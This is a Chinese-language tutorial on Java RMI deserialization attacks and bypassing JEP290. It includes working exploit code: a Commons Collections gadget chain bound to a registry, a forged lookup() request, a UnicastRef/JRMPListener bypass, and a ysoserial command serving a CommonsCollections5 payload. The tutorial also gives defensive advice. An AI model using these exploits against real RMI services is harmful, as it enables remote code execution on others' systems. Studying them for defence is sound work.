JAVA RMI 反序列化攻击 & JEP290 Bypass分析
字数 1560 2025-08-19 12:42:05
Java RMI 反序列化攻击与JEP290绕过分析
1. RMI基础概念
1.1 RPC与RMI
RPC(Remote Procedure Call)远程过程调用,允许像调用本地函数一样调用远程函数。RMI(Remote Method Invocation)是Java实现的RPC框架。
RPC演化流程:
- Client通过Stub类传递类名、方法名与参数信息给Server
- Server从本地注册表找到具体类
- 通过反射获取方法并执行
- 返回结果
1.2 Java代理模式
代理模式提供对目标对象额外的访问方式,分为:
静态代理
- 代理对象和目标对象实现相同接口
- 缺点:冗余、不易维护
动态代理
- 利用反射动态构建代理对象
- 要求目标对象必须实现接口
- 核心类:
InvocationHandler和Proxy
2. RMI工作机制
2.1 RMI基本组件
- 远程接口:继承
java.rmi.Remote,方法抛出RemoteException - 远程对象实现:继承
UnicastRemoteObject,实现远程接口 - Registry:注册中心,管理远程对象引用
- Stub/Skeleton:客户端代理和服务端骨架
2.2 RMI通信流程
- Server注册远程对象到Registry
- Client从Registry获取Stub
- Client通过Stub调用远程方法
- 参数序列化传输到Server
- Server反序列化参数并执行方法
- 结果序列化返回Client
2.3 JRMP协议
Java远程方法协议(JRMP)是RMI底层协议,运行在TCP/IP之上,负责远程对象查找和引用。
3. RMI反序列化攻击
3.1 攻击场景
1. 客户端/服务端攻击Registry
- 通过
bind()/rebind()传递恶意对象 - 通过伪造请求攻击
lookup()/unbind()
2. Registry攻击客户端/服务端
- 恶意Registry返回恶意对象
3. 客户端攻击服务端
- 传递恶意对象作为参数
4. 服务端攻击客户端
- 返回恶意对象
3.2 攻击示例
通过bind()攻击Registry
// 构造CC链恶意对象
Transformer[] transformers = new Transformer[] {...};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 创建AnnotationInvocationHandler代理
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outerMap);
Remote proxy = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
// 绑定恶意对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 3333);
registry.bind("evil", proxy);
通过伪造请求攻击lookup()
// 获取Registry的UnicastRef和operations
Field[] fields = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
UnicastRef ref = (UnicastRef)fields[0].get(registry);
Operation[] ops = (Operation[])registry.getClass().getDeclaredFields()[0].get(registry);
// 伪造lookup请求
RemoteCall call = ref.newCall((RemoteObject)registry, ops, 2, 4905912898345647071L);
ObjectOutput out = call.getOutputStream();
out.writeObject(proxy); // 写入恶意对象
ref.invoke(call);
4. JEP290机制与绕过
4.1 JEP290机制
-
功能:
- 限制可反序列化的类(白名单/黑名单)
- 限制反序列化深度和复杂度
- 为RMI提供验证机制
- 可配置过滤
-
白名单:
String.class,Number.class,Remote.class,Proxy.class,UnicastRef.class等
4.2 JEP290绕过(<=8u231)
UnicastRef绕过原理
- 构造包含JRMPListener地址的UnicastRef
- Registry反序列化时建立到JRMPListener的连接
- JRMPListener返回恶意对象
- 恶意对象在无过滤环境下被反序列化
绕过代码
// 启动恶意JRMPListener
// java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"
// 客户端代码
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(TestClient.class.getClassLoader(),
new Class[]{Registry.class}, obj);
reg.bind("Hello", proxy);
4.3 JDK 8u231+的绕过
在8u231中,dirty函数增加了过滤机制。新绕过方式利用UnicastRemoteObject反序列化链。
5. 防御建议
- 升级JDK到最新版本
- 配置严格的对象过滤器
- 限制RMI服务网络访问
- 使用安全管理器
- 监控反序列化操作
6. 关键点总结
- RMI通信过程涉及多次序列化/反序列化
- 攻击面存在于Registry、Client和Server间的交互
- JEP290通过白名单限制反序列化类
- UnicastRef可绕过早期JEP290过滤
- 高版本JDK需要寻找新的利用链
7. 参考工具
- ysoserial:生成反序列化payload
- JRMPListener:恶意RMI服务端
- RMI监控工具:分析RMI通信